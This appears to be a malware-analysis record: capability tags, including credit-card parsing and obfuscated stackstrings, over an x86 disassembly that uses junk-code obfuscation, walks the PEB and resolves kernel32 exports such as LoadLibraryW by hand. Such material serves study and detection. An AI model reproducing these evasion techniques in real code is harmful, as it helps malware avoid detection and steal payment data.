Function at 0x44e624
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
push edx
add esp, 4
jmp 0x44dd03
xor ecx, 0x18457
sub ecx, 0x149f4
pop ecx
push esi
push eax
add esp, 4
add esi, 0xd975
pop esi
push edx
push ecx
add esp, 4
jmp 0x44dd28
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x44dd71
push ecx
call 0x44dd48
add byte [ecx], bh
dec eax
cmp dword [edx + eax*2], edi
dec edi
cmp al, byte [ebx - 0x1e7efb3c]
sbb dh, byte [esi]
add byte [eax], al
pop ecx
push edi
or edi, 0xe2d
and edi, 0x53
pop edi
push esi
push edi
add esp, 4
sub esi, 0x18174
pop esi
jmp 0x44df9f
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ebx
push eax
add esp, 4
jmp 0x44dd91
or ebx, 0x97f2
sub ebx, 0xb8cc
pop ebx
push esi
sub esi, 0x5509
sub esi, 0x146ad
jmp 0x44ddb2
and esi, 0x11862
pop esi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x44de20
push ebx
push ebx
add esp, 4
or ebx, 0x160a4
sub ebx, 0x16e7a
xor ebx, 0x16140
pop ebx
push ecx
xor ecx, 0x10b84
and ecx, 0x7004
sub ecx, 0x14dc2
and ecx, 0x1133
pop ecx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x44df51
cmp dword [ebp - 0xc08], 0
jle 0x44df45
push eax
push edx
add esp, 4
and eax, 0x16173
xor eax, 0x319
jmp 0x44de46
sub eax, 0xf937
pop eax
push ecx
push ebx
add esp, 4
xor ecx, 0x10240
sub ecx, 0xeba1
pop ecx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x44dee1
push ebx
push edx
add esp, 4
and ebx, 0xaf86
jmp 0x44de87
pop ebx
push ecx
jmp 0x44de91
and ecx, 0x157a2
call 0x44dea3
add byte [ebx], bh
cmp esi, dword ss:[ebx]
dec eax
cmp dword [ebx - 0x74a6fb3c], eax
test dword [eax + 0xffffff5], ebx
mov dh, 8
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x44dec9
mov dword [ebp - 0x14c0], 1
jmp 0x44ded3
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x44df45
push ecx
call 0x44def2
add byte [edi], dh
cmp byte [eax*2 + 0x3b333f42], dh
cmp byte [edx], bh
add esp, 4
call 0x44df03
add byte [ecx], bh
inc esp
cmp al, 0x35
cmp byte [0x4c4834a], dh
sub ecx, 0x16d1f
and ecx, 0x14677
add dword [eax], eax
add dword [eax], eax
pop ecx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x44de20
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x44df9a
push ecx
push edx
add esp, 4
call 0x44df6c
add byte [edx], dh
xor ecx, dword [eax + 0x3e]
aas
xor eax, dword [ebx - 0xe7efb3c]
xchg edx, eax
clc
add byte [eax], al
and ecx, 0xfcfd
pop ecx
push edi
or edi, 0x105ec
pop edi
push edx
jmp 0x44df8b
pop edx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x44dfdb
jmp 0x44dce8
push esi
or esi, 0x17b04
xor esi, 0x10237
jmp 0x44dfb1
and esi, 0x3692
pop esi
push ebx
push edi
add esp, 4
call 0x44dfcd
add byte [ecx + 0x3f], al
inc esi
dec esi
inc edi
xor eax, 0x484f473e
add esp, 4
pop ebx
mov dword [ebp - 0x3cc], 0
push ecx
push esi
add esp, 4
sub ecx, 0x67f9
pop ecx
push ebx
xor ebx, 0xa61a
or ebx, 0x5c21
sub ebx, 0x3fec
call 0x44e009
add byte [edi + 0x45], al
cmp byte [esi + 0x45], cl
xor al, 0x3d
inc ebp
inc ebp
add esp, 4
pop ebx
push edx
jmp 0x44e014
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0xacd1
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x15bf1
and edi, 0xf4
add edi, 0x9288
or edi, 0x860c
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
add edx, 0xf866
pop edx
push eax
push ecx
add esp, 4
xor eax, 0x14b7a
xor eax, 0x8d87
call 0x44e07c
add byte [ebx], dh
push eax
aaa
dec ebx
inc eax
cmp dword [esi], edi
xor al, 0x49
add esp, 4
xor eax, 0x276f
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push eax
push edx
add esp, 4
add eax, 0x7f5a
sub eax, 0x112ca
add eax, 0x16b40
pop eax
push ecx
xor ecx, 0xc781
pop ecx
push edi
push edi
add esp, 4
add edi, 0x5d4
and edi, 0x5280
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x44e0df
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
jmp 0x44e0e7
sub edi, 0x984a
or edi, 0x6745
sub edi, 0x171f1
pop edi
push esi
push ebx
add esp, 4
add esi, 0x604f
jmp 0x44e10b
jmp 0x44e110
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x44e159
push edi
push ebx
add esp, 4
sub edi, 0x89ca
pop edi
push edi
xor edi, 0x3361
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x179a7
xor ecx, 0x135de
sub ecx, 0x1002d
add ecx, 0x88a
pop ecx
jmp 0x44e387
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edi
sub edi, 0x11b2f
add edi, 0xa5e5
call 0x44e18b
add byte [edx + 0x36], al
xor al, byte [eax + 0x3b]
inc edx
inc esp
aas
inc esi
add esp, 4
call 0x44e19d
add byte [edx], dh
inc edx
dec esi
dec esi
cmp eax, 0x3a324b35
add esp, 4
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x44e208
push ecx
push edx
add esp, 4
call 0x44e1d8
add byte [edx], bh
inc ebx
dec eax
dec ecx
cmp ecx, dword [eax + 0x3e]
xor al, 0x83
les eax, [ecx + ebx*2]
push esi
push edx
add esp, 4
sub esi, 0xd0b9
pop esi
push edx
jmp 0x44e1ee
pop edx
push edx
and edx, 0x17ba6
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x44e339
cmp dword [ebp - 0xc10], 0
jle 0x44e32d
push edx
call 0x44e226
add byte [eax + edx*2], bh
cmp eax, 0x4f484e33
dec esi
dec ebx
xor al, 0x83
les eax, [edx + ebx*2]
push ebx
push edi
add esp, 4
call 0x44e23d
add byte [ecx], bh
xor al, byte [edi + esi + 0x46]
inc edx
dec ecx
xor al, 0x83
les eax, [ecx + eax*4]
jmp 0x44e1c7
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x44e382
push edi
push esi
add esp, 4
or edi, 0x13c37
add edi, 0xe1f9
call 0x44e362
add byte [ecx + 0x3d], al
inc ecx
dec esi
dec ebx
inc ebp
dec esp
inc ecx
add esp, 4
add edi, 0xd7bb
pop edi
push eax
add eax, 0x15963
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x44e3c3
jmp 0x44e0d0
push eax
push ebx
add esp, 4
call 0x44e399
add byte [edi + 0x39], al
inc ebp
dec eax
dec esp
dec ebx
add esp, 4
xor eax, 0x15289
call 0x44e3af
add byte [ecx + 0x3f], cl
dec ebx
cmp dword [esi], esi
xor edi, dword [edx]
add esp, 4
add eax, 0x7c30
pop eax
mov dword [ebp - 0xa5c], 0
push esi
push edi
add esp, 4
add esi, 0xd573
sub esi, 0x33a4
sub esi, 0x13f4d
pop esi
push edi
sub edi, 0x14330
or edi, 0x696c
and edi, 0x7f57
xor edi, 0x14ca
pop edi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
push edi
add esp, 4
call 0x44e45c
add byte [edi], dh
inc eax
dec esi
xor ecx, dword [ecx + 0x37]
inc esp
xor eax, 0x5e04c483
push ebx
jmp 0x44e468
sub ebx, 0x1650e
sub ebx, 0xf9a1
xor ebx, 0x3b2a
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
and edi, 0x12a8d
xor edi, 0x10450
add edi, 0xacfb
and edi, 0x9b4d
pop edi
push ebx
push edi
add esp, 4
or ebx, 0xab88
or ebx, 0x15ce5
or ebx, 0xebf2
pop ebx
push edi
add edi, 0x8925
and edi, 0x7ae3
sub edi, 0x104d0
pop edi
push ecx
push eax
add esp, 4
add ecx, 0xc598
and ecx, 0xdc11
add ecx, 0xff7f
xor ecx, 0x123df
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
add ebx, 0x92ad
sub ebx, 0x1c36
jmp 0x44e5b4
pop ebx
push esi
or esi, 0x4d41
call 0x44e5c8
add byte [edi], bh
inc ebp
dec edi
xor bh, byte [0x4c4834f]
or esi, 0x2d4a
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x44e5ea
mov dword [ebp - 0x2e0], 0
jmp 0x44e8a6
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
or edi, 0x170a2
jo 0x44e603
add byte [ecx + 0xd8a3f7], al
add byte [edi + 0x56], bl
sub esi, 0x10282
pop esi
push edx
push edx
add esp, 4
call 0x44e624
add byte [edx + 0x46], cl
cmp byte ss:[edx + 0x37], al
push eax
add esp, 4
xor edx, 0x13830
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x44e646
mov dword [ebp - 0x2e0], 0
jmp 0x44e8a6
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
push ecx
add esp, 4
or esi, 0xb0c8
or esi, 0x11d0
add esi, 0x7bd9
pop esi
push eax
sub eax, 0x16f47
xor eax, 0x1234a
xor eax, 0x65ca
add eax, 0x3af6
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
push edx
add esp, 4
sub ecx, 0x14e36
pop ecx
push edi
push ecx
add esp, 4
jmp 0x44e6c8
xor edi, 0x7487
pop edi
push esi
push ecx
add esp, 4
add esi, 0x17943
jmp 0x44e6e2
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
jmp dword [esi - 0x75]
test dword [edx + 0x66fffff0], eax
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
or esi, 0x128a7
and esi, 0xa5aa
add esi, 0x16d53
or esi, 0x9a84
pop esi
push eax
push eax
add esp, 4
and eax, 0x10b3e
sub eax, 0x1736d
xor eax, 0x16466
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x44e792
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x44e7f5
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x44e6b1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x44e6b1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x44e7df
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x44e7e9
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x44e83e
push ebx
xor ebx, 0x3107
pop ebx
push esi
push edx
add esp, 4
xor esi, 0xf362
pop esi
push edi
push edi
add esp, 4
add edi, 0x174ad
sub edi, 0x10706
pop edi
push edx
push ebx
add esp, 4
or edx, 0x170b6
pop edx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x44e8a6
push edi
push edx
add esp, 4
add edi, 0x6444
or edi, 0x15e59
pop edi
push esi
push esi
add esp, 4
or esi, 0xd482
add esi, 0x488a
pop esi
push eax
add eax, 0x46ed
or eax, 0x125e9
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x44e89c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x44e652
mov dword [ebp - 0x2e0], 0
push ebx
push edx
add esp, 4
sub ebx, 0xdb05
jmp 0x44e8b9
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x14a47
pop ebx
push edi
jmp 0x44e8cf
pop edi
push edi
add edi, 0xa2af
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x44f1f1
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
jmp 0x44e985
and edi, 0x60a2
add edi, 0xbc28
and edi, 0x7d52
pop edi
push edx
push eax
add esp, 4
or edx, 0x122d2
xor edx, 0x13888
sub edx, 0xc593
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
and ecx, 0x14fac
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x1475e
call 0x44ea54
add byte [ebx + edi + 0x32], al
dec esp
xor eax, 0x503b3739
add esp, 4
or edx, 0x1ddd
xor edx, 0xb8d5
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x44ea7c
mov dword [ebp - 0x6ec], 0
jmp 0x44ed38
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
xor ebx, 0x4ad5
call 0x44eaa4
add byte [edx], bh
aaa
cmp al, 0x41
dec ebp
inc ebx
cmp al, 0x3e
add esp, 4
add ebx, 0x9aa5
sub ebx, 0xe6f
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x215e
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x44ead8
mov dword [ebp - 0x6ec], 0
jmp 0x44ed38
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
push edx
add esp, 4
xor edi, 0x659e
pop edi
push edi
or edi, 0xcaf3
pop edi
push esi
push ecx
add esp, 4
and esi, 0x15e9f
xor esi, 0xfaaf
or esi, 0x6fd3
and esi, 0x7b25
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
jmp 0x44eb4d
or ebx, 0xc448
jmp 0x44eb59
pop ebx
push esi
xor esi, 0x10018
pop esi
push esi
call 0x44eb71
add byte [ebx + 0x3a], cl
inc ebx
dec edi
xor al, 0x40
inc esi
add esp, 4
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
and eax, 0xa497
pop eax
push edx
sub edx, 0xe3ca
pop edx
push eax
sub eax, 0x2bb5
xor eax, 0x11c58
and eax, 0x15896
pop eax
push edi
and edi, 0xb804
sub edi, 0x10f84
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x44ec24
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x44ec87
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x44eb43
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x44eb43
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x44ec71
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x44ec7b
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x44ecd0
push eax
and eax, 0xc9fe
pop eax
push edi
push ecx
add esp, 4
xor edi, 0xe807
add edi, 0x7adf
add edi, 0x77c7
pop edi
push edi
push esi
add esp, 4
and edi, 0x55f5
or edi, 0x124a3
pop edi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x44ed38
push edi
push esi
add esp, 4
and edi, 0x9b60
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x162d2
pop ecx
push esi
add esi, 0x11860
or esi, 0xd757
xor esi, 0x321d
sub esi, 0xc443
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x44ed2e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x44eae4
mov dword [ebp - 0x6ec], 0
push eax
jmp 0x44ed3f
or eax, 0xb9ba
add eax, 0xe340
pop eax
push esi
push edx
add esp, 4
add esi, 0xf4b1
sub esi, 0x1414a
add esi, 0x6119
and esi, 0x31a6
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x44edb4
push edi
sub edi, 0x173b2
add edi, 0xd7cd
and edi, 0xd485
pop edi
push eax
push esi
add esp, 4
and eax, 0xe64e
and eax, 0x1183f
xor eax, 0x111ab
or eax, 0x17d39
pop eax
mov dword [ebp - 0x738], 0
jmp 0x44f8db
push ecx
push esi
add esp, 4
call 0x44edc8
add byte [ebx + eax*2], bh
aas
aaa
xor dh, byte ss:[edi]
cmp al, 0x3d
add esp, 4
pop ecx
push eax
xor eax, 0xe8e7
and eax, 0xf6f
add eax, 0xfe7
add eax, 0xf0dc
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x44ee25
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x44f116
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x44ee4d
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x44f116
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x44ee7f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x44f116
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x44eea4
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x44f116
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x44eefe
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x44f10a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x44ef6e
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x44f020
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x44f020
push edx
push esi
add esp, 4
xor edx, 0x12089
pop edx
push esi
push edi
add esp, 4
jmp 0x44efb1
pop esi
push ebx
push edx
add esp, 4
call 0x44efc3
add byte [esi], dh
xor al, byte [eax + 0x38]
xor al, byte [eax - 0x7d]
les eax, [ecx + eax*4]
retf
push ebx
or ebx, 0xea67
jmp 0x44f02f
call 0x44f03c
add byte [ebx + 0x37], al
cmp al, byte [ecx + 0x33]
cmp ecx, dword [edi - 0x7d]
les eax, [ebx + ebx*2]
push ecx
push edx
add esp, 4
add ecx, 0xc117
xor ecx, 0x2ceb
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x44f07f
mov dword [ebp - 0xc30], 0
jmp 0x44f0ee
push ecx
push ebx
add esp, 4
or ecx, 0x1038f
pop ecx
push ebx
push edx
add esp, 4
add ebx, 0x8dd2
add ebx, 0x13a3b
xor ebx, 0x13482
pop ebx
push edx
or edx, 0x100a9
or edx, 0xec54
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x44f0e4
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x44f0ee
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x44f105
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x44f116
jmp 0x44eeef
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x44f1f1
push ecx
push ebx
add esp, 4
or ecx, 0x5a34
pop ecx
push ecx
push edx
add esp, 4
or ecx, 0x8dff
sub ecx, 0x98f3
or ecx, 0x5e55
pop ecx
push ecx
xor ecx, 0x94cf
sub ecx, 0xcd81
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ecx
jmp 0x44f167
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0xdd46
jmp 0x44f179
or eax, 0xe9c0
pop eax
push ebx
push esi
add esp, 4
and ebx, 0x14df5
jmp 0x44f192
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x44f1f1
push eax
jmp 0x44f1b9
and eax, 0xd5e2
call 0x44f1cc
add byte [esi], bh
xor ecx, dword [ecx + 0x41]
inc edx
xor eax, 0x4c4834f
xor eax, 0xf2ca
pop eax
push edi
push eax
add esp, 4
or edi, 0x71d7
pop edi
mov dword [ebp - 0x738], 0
jmp 0x44f8db
push eax
push eax
add esp, 4
add eax, 0x37ea
add eax, 0x148e1
pop eax
push edx
push edx
add esp, 4
and edx, 0x1b3d
pop edx
push ebx
and ebx, 0x14de1
or ebx, 0xf322
sub ebx, 0x49ca
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
add edx, 0x17b2c
pop edx
push edx
push eax
add esp, 4
and edx, 0x15780
pop edx
push edx
push eax
add esp, 4
sub edx, 0x16186
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x48ee
or ecx, 0x1e40
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x44f294
mov dword [ebp - 0x2e0], 0
jmp 0x44f53b
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
and ecx, 0x5904
and ecx, 0x4fd9
pop ecx
push ebx
push esi
add esp, 4
call 0x44f2c8
add byte [edi], bh
inc ecx
cmp al, 0x3d
cmp byte [ebx + 0x3e], al
cmp dword [edx], esi
add esp, 4
or ebx, 0x169d6
or ebx, 0x7ae3
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x44f2f0
mov dword [ebp - 0x2e0], 0
jmp 0x44f53b
mov ecx, dword [ebp - 0xc3c]
